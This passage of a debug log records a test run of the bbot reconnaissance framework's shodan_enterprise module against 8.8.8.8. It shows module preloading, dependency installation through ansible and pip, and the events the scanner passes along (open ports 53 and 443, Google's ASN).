17:08:16,035 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-01 17:08:16,036 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-01 17:08:16,036 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-01 17:08:16,037 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-01 17:08:16,038 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-01 17:08:16,038 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-01 17:08:16,039 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-01 17:08:16,039 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-01 17:08:16,040 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-01 17:08:16,040 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-01 17:08:16,041 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-01 17:08:16,042 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-01 17:08:16,042 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-01 17:08:16,043 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-01 17:08:16,044 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-01 17:08:16,044 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-01 17:08:16,045 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-01 17:08:16,046 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-01 17:08:16,046 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-01 17:08:16,047 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-01 17:08:16,047 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-01 17:08:16,048 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-01 17:08:16,049 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-01 17:08:16,050 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-01 17:08:16,050 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-01 17:08:16,051 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-01 17:08:16,052 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-01 17:08:16,052 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-01 17:08:16,053 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-01 17:08:16,053 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-01 17:08:16,054 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-01 17:08:16,055 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-01 17:08:16,055 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-01 17:08:16,056 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-01 17:08:16,056 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-01 17:08:16,057 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-01 17:08:16,057 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-01 17:08:16,058 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-01 17:08:16,059 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-01 17:08:16,059 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 17:08:16,060 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 17:08:16,060 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 17:08:16,061 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 17:08:16,062 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 17:08:16,063 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 17:08:16,064 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 17:08:16,064 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 17:08:16,065 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 17:08:16,066 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 17:08:16,066 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 17:08:16,067 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 17:08:16,068 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 17:08:16,069 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 17:08:16,069 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 17:08:16,070 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-01 17:08:16,071 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 17:08:16,071 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 17:08:16,072 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 17:08:16,073 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 17:08:16,074 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 17:08:16,074 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 17:08:16,075 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 17:08:16,075 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 17:08:16,076 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 17:08:17,167 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 17:08:17,167 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 17:08:17,168 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 17:08:17,303 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 17:08:17,879 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 17:08:17,879 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 17:08:17,879 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 17:08:17,880 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 17:08:18,085 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 17:08:18,087 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 17:08:18,198 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 17:08:18,198 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 17:08:18,254 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 17:08:18,257 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 17:08:18,257 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 17:08:18,682 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 17:08:18,683 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 17:08:21,412 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 17:08:21,413 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 17:08:21,413 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 17:08:23,192 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 17:08:23,193 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 17:08:23,198 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:08:23,198 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 17:08:23,199 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 17:08:23,199 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 17:08:23,203 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/qs7d6yck7ctkvedhxe95 -2026-03-01 17:08:23,982 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 17:08:23,983 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 17:08:23,983 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:08:23,984 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 17:08:23,984 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:08:23,985 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 17:08:23,985 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:08:23,985 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 17:08:23,986 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 17:08:24,104 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 17:08:24,104 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 17:08:24,104 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 17:08:24,106 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 17:08:24,106 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 17:08:24,106 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 17:08:24,107 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 17:08:24,107 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 17:08:24,108 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 17:08:24,108 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 17:08:24,109 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 17:08:24,109 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 17:08:24,109 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 17:08:24,109 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 17:08:24,109 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 17:08:24,110 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 17:08:24,110 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 17:08:24,110 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 17:08:24,111 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 17:08:24,111 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 17:08:24,111 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 17:08:24,111 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 17:08:24,112 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 17:08:24,112 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 17:08:24,112 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 17:08:24,112 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 17:08:24,113 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 17:08:24,113 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 17:08:24,113 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 17:08:24,114 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 17:08:24,114 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 17:08:24,114 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 17:08:24,114 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 17:08:24,115 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 17:08:24,115 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 17:08:24,115 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 17:08:24,115 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 17:08:24,116 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 17:08:24,116 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 17:08:24,116 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 17:08:24,116 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 17:08:24,117 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 17:08:24,117 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 17:08:24,117 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 17:08:24,117 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 17:08:24,253 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_i5me1a0l48 -2026-03-01 17:08:24,253 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 17:08:24,359 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 17:08:24,359 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 17:08:24,359 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 17:08:24,361 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) -2026-03-01 17:08:24,462 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 17:08:24,463 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:08:24,464 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:08:24,465 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) passed post-check -2026-03-01 17:08:24,465 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) -2026-03-01 17:08:24,467 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 17:08:24,467 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:08:24,468 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) in-scope because its main host matches the scan target -2026-03-01 17:08:24,470 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 17:08:24,471 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:08:24,471 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-03-01 17:08:24,472 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-03-01 17:08:24,472 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-03-01 17:08:24,473 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:08:24,473 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-01 17:08:24,479 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-03-01 17:08:24,479 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-03-01 17:08:24,480 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-03-01 17:08:24,480 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-03-01 17:08:24,481 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded -2026-03-01 17:08:24,481 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded -2026-03-01 17:08:24,482 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET -2026-03-01 17:08:24,482 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-03-01 17:08:24,482 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-03-01 17:08:24,575 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-03-01 17:08:24,576 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-01 17:08:24,577 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:4a8e5cd50a6dd05a84777df6c964773fc53f4d0e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 17:08:24,577 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET -2026-03-01 17:08:24,577 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-03-01 17:08:24,578 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:08:24,578 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,579 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 17:08:24,579 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,580 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:08:24,580 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,581 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:08:24,581 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,581 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 17:08:24,582 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,582 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:08:24,582 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,583 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,583 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:08:24,583 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,584 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 17:08:24,585 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:08:24,585 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,585 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,586 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 17:08:24,586 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:08:24,586 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,587 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:08:24,587 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,588 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,588 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 17:08:24,589 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:08:24,589 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,589 [DEBUG] bbot.modules._scan_ingress base.py:1563 